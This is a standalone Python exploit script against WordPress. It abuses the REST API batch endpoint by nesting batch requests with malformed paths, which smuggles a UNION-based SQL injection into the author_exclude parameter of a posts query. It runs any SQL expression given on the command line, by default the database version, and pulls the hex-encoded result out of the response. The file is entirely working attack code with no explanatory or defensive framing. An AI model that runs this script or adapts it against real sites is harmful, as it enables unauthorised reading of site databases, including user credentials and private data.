exploit.py

import json
import re
import sys
import urllib.parse
import urllib.request

def build_columns(expr):
    date = "0x323032302d30312d30312030303a30303a3030"
    columns = []
    for i in range(1, 24):
        if i == 1:
            columns.append("999999")
        elif i in (3, 4, 15, 16):
            columns.append(date)
        elif i == 6:
            columns.append(f"CONCAT(0x7c7c,HEX(CAST(({expr})AS CHAR)),0x7c7c)")
        elif i == 8:
            columns.append("0x7075626c697368")
        elif i == 21:
            columns.append("0x706f7374")
        else:
            columns.append(str(i))
    return ",".join(columns)

def run(base, expr):
    inner = urllib.parse.urlencode({
        "author_exclude": "0) UNION SELECT " + build_columns(expr) + "-- -",
        "orderby": "none",
        "per_page": "500",
    })
    payload = {
        "requests": [
            {"method": "POST", "path": "http://:"},
            {
                "method": "POST",
                "path": "/wp/v2/posts",
                "body": {
                    "requests": [
                        {"method": "GET", "path": "http://:"},
                        {"method": "GET", "path": "/wp/v2/posts/999999?" + inner},
                        {"method": "GET", "path": "/wp/v2/posts"},
                    ]
                },
            },
            {"method": "POST", "path": "/batch/v1"},
        ]
    }
    request = urllib.request.Request(
        base.rstrip("/") + "/?rest_route=/batch/v1",
        data=json.dumps(payload).encode(),
        headers={"Content-Type": "application/json"},
    )
    body = urllib.request.urlopen(request, timeout=30).read().decode()
    match = re.search(r"\|\|([0-9A-Fa-f]+)\|\|", body)
    if match:
        return bytes.fromhex(match.group(1)).decode()
    return None

base = sys.argv[1]
if len(sys.argv) > 2:
    expr = sys.argv[2]
else:
    expr = "SELECT @@version"
print(run(base, expr))